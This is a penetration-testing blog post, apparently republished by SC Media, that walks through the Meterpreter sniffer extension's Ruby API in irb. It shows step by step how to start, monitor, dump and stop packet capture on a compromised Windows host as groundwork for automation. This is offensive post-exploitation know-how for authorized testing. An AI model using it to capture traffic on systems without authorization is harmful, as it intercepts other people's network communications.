Automating the Meterpreter Sniffer Module Part 1

Automating post exploitation as much as possible with out risking losing any data or putting at risk the availability of the targeted host is very important for any pentester. I would like share how I would automate the Meterpreter Sniffer Module by scripting the recording of all packets captured by the new sniffer module. This post will require some Ruby and programming knowledge to get the most value from it, I recommend for anyone starting the Pragmatic Ruby and to read the Metasploit Documentation,  I tend to start by understanding the API calls for the module and what better way than using the irb shell in Meterpreter for this specific module we can read the Module Command Dispatcher code. To access the irb (Interactive Ruby Shell) in Meterpreter we simply issue the irb command:

meterpreter > irb
[*] Starting IRB shell
[*] The 'client' variable holds the meterpreter client


Once in the shell I load the module using the Rex API call for the Core System:

>> client.core.use("sniffer")
=> true


The above output shows the Boolean confirmation that the module was loaded. We know proceed to list the interfaces, this is done using the client.sniffer.interfaces() API call:

>> client.sniffer.interfaces()
=> [{"name"=>"\Device\{DFB388B6-0F0F-4A3A-B264-B1D95D9762AD}", "mtu"=>1514, "usable"=>true, "type"=>0, "idx"=>1, "dhcp"=>true, "wireless"=>false, "description"=>"VMware Accelerated AMD PCNet Adapter"}]


W can see that it returned all the interface information, if you need to know the class of the information returned for when you script this you can just put a .class at the end to see what is the returning class of the value returned:

>> client.sniffer.interfaces().class
=> Array
>> client.sniffer.interfaces().each do |i|
?> puts i.class
>> end
=> [{"name"=>"\Device\{DFB388B6-0F0F-4A3A-B264-B1D95D9762AD}", "mtu"=>1514, "usable"=>true, "type"=>0, "idx"=>1, "dhcp"=>true, "wireless"=>false, "description"=>"VMware Accelerated AMD PCNet Adapter"}]

We get returned an Array, and when we iterate thru we see that each member of the array where the interface information is given is a Hash. This means you can get from each interface any piece information contained in the hash by asking for the key of the piece of information I’m looking for:

>> client.sniffer.interfaces().each do |i|
?> puts i['description']
>> end
VMware Accelerated AMD PCNet Adapter
=> [{"name"=>"\Device\{DFB388B6-0F0F-4A3A-B264-B1D95D9762AD}", "mtu"=>1514, "usable"=>true, "type"=>0, "idx"=>1, "dhcp"=>true, "wireless"=>false, "description"=>"VMware Accelerated AMD PCNet Adapter"}]

Here you can see I asked for hash key “description” and this gave me the description of the interface. Now that I have this info I can proceed to start the capture, this is achieved by using the client.sniffer.capture_start(intf, maxp) API call, this call accepts 2 values the first one is the interface index whish if we look at the Hash that we get with the Interface information is the “idx” key, the next value is the maximum number of packets to store in the buffer, both of this values are Integer:

>> client.sniffer.capture_start(1, 200000)
=> #<Rex::Post::Meterpreter::Packet:0xb679244c @tlvs=[#<Rex::Post::Meterpreter::Tlv:0xb6792028 @value="sniffer_capture_start", @type=65537>, #<Rex::Post::Meterpreter::Tlv:0xb6791f10 @value="39088353728762718472713126289025", @type=65538>, #<Rex::Post::Meterpreter::Tlv:0xb6791dbc @value=0, @type=131076>], @type=1>


After running the API call the TLV command to the module to start the capture. Now after generating some traffic we what to know how many packets and the size of the capture we have so far, this is achieved by using the client.sniffer.capture_stats(intf) API call where we give it the interface index as an Integer:

>> client.sniffer.capture_stats(1)
=> {:bytes=>401107, :packets=>870}
>> client.sniffer.capture_stats(1).class
=> Hash


We get a Hash value back where we can tell by each of the key names of the hash what information are we getting back, the number of packets and the number of bytes captured. Know we want to clear the buffer and retrieve the captured information, this is done with the client.sniffer.capture_dump(intf) where we get the buffer information and the clear it. To read the data we use the client.sniffer.capture_dump_read(intf,1024*512) We pass to both API call the interface index and on the read the amount of data to read (512k) at a time:

>> res = client.sniffer.capture_dump(1)
=> {:bytes=>1504, :packets=>16}
>> res = client.sniffer.capture_dump_read(1,1024*512)
=> {:bytes=>1504, :data=>"00000000000000050131203!253J236236000000J00f)Ek/00f)26135326b00E0000<01(0000200010000nnn0304020202b00?\0200f00abcdefghijklmnopqrstuvwabcdefghi00000000000000060131203!253V212`000000J00f)2613532600f)Ek/b00E0000<204314000000135334404020202nnn030000G\0200f00abcdefghijklmnopqrstuvwabcdefghi00000000000000a0131203!253343536000000J00f)Ek/00f)26135326b00E0000<01)0000200010000nnn0304020202b00>\0200r00abcdefghijklmnopqrstuvwabcdefghi00000000000000b0131203!253352\,000000J00f)2613532600f)Ek/b00E0000<u2650000/0137337304020202nnn030000F\0200r00abcdefghijklmnopqrstuvwabcdefghi00000000000000t0131203!254{313236000000J00f)Ek/00f)26135326b00E0000<01*0000200010000nnn0304020202b00=\02001600abcdefghijklmnopqrstuvwabcdefghi00000000000000n0131203!254202362254000000J00f)2613532600f)Ek/b00E0000<032210000/01n 04020202nnn030000E\02001600abcdefghijklmnopqrstuvwabcdefghi00000000000000v0131203!25524b36000000J00f)Ek/00f)26135326b00E0000<01+0000200010000nnn0304020202b00<\02001700abcdefghijklmnopqrstuvwabcdefghi00000000000000f0131203!255e211,000000J00f)2613532600f)Ek/b00E0000<302540000/01Y0504020202nnn030000D\02001700abcdefghijklmnopqrstuvwabcdefghi00000000000000r0131203!256345L254000000J00f)Ek/00f)26135326b00E0000<012550000200010000nnn0304020202b00;\02002000abcdefghijklmnopqrstuvwabcdefghi00000000000000160131203!25635632624000000J00f)2613532600f)Ek/b00E0000<X3630000/013027604020202nnn030000C\02002000abcdefghijklmnopqrstuvwabcdefghi00000000000000170131203!257200E206000000J00f)Ek/00f)26135326b00E0000<012560000200010000nnn0304020202b00:\02002100abcdefghijklmnopqrstuvwabcdefghi00000000000000200131203!257211316356000000J00f)2613532600f)Ek/b00E0000<27123400000012672404020202nnn030000B\02002100abcdefghijklmnopqrstuvwabcdefghi00000000000000210131203!26035240272000000J00f)Ek/00f)26135326b00E0000<012570000200010000nnn0304020202b009\02002200abcdefghijklmnopqrstuvwabcdefghi00000000000000220131203!260$307310000000J00f)2613532600f)Ek/b00E0000<32125700000012370104020202nnn030000A\02002200abcdefghijklmnopqrstuvwabcdefghi00000000000000230131203!260270231224000000J00f)Ek/00f)26135326b00E0000<012600000200010000nnn0304020202b008\02002300abcdefghijklmnopqrstuvwabcdefghi00000000000000240131203!260277300242000000J00f)2613532600f)Ek/b00E0000<2442620000/0131437604020202nnn0300[email protected]\02002300abcdefghijklmnopqrstuvwabcdefghi"}

Now that we have seen the captured data we stop the capture all together by using the client.sniffer.capture_stop(intf) API call where we again pass the interface index as a value:

>> client.sniffer.capture_stop(1)
=> #<Rex::Post::Meterpreter::Packet:0xb69e382c @tlvs=[#<Rex::Post::Meterpreter::Tlv:0xb69e2aa8 @value="sniffer_capture_stop", @type=65537>, #<Rex::Post::Meterpreter::Tlv:0xb69e2968 @value="53778635515875175792402459228002", @type=65538>, #<Rex::Post::Meterpreter::Tlv:0xb69e2774 @value=0, @type=131076>], @type=1>
Carlos Perez

Carlos is currently the Principal Consultant, Team Lead for Research at TrustedSec and well-known for his research on both Metasploit and Windows Powershell. His blog carries the tag line: “Shell Is Only The Beginning”.

Get daily email updates

SC Media's daily must-read of the most current and pressing daily news

By clicking the Subscribe button below, you agree to SC Media Terms and Conditions and Privacy Policy.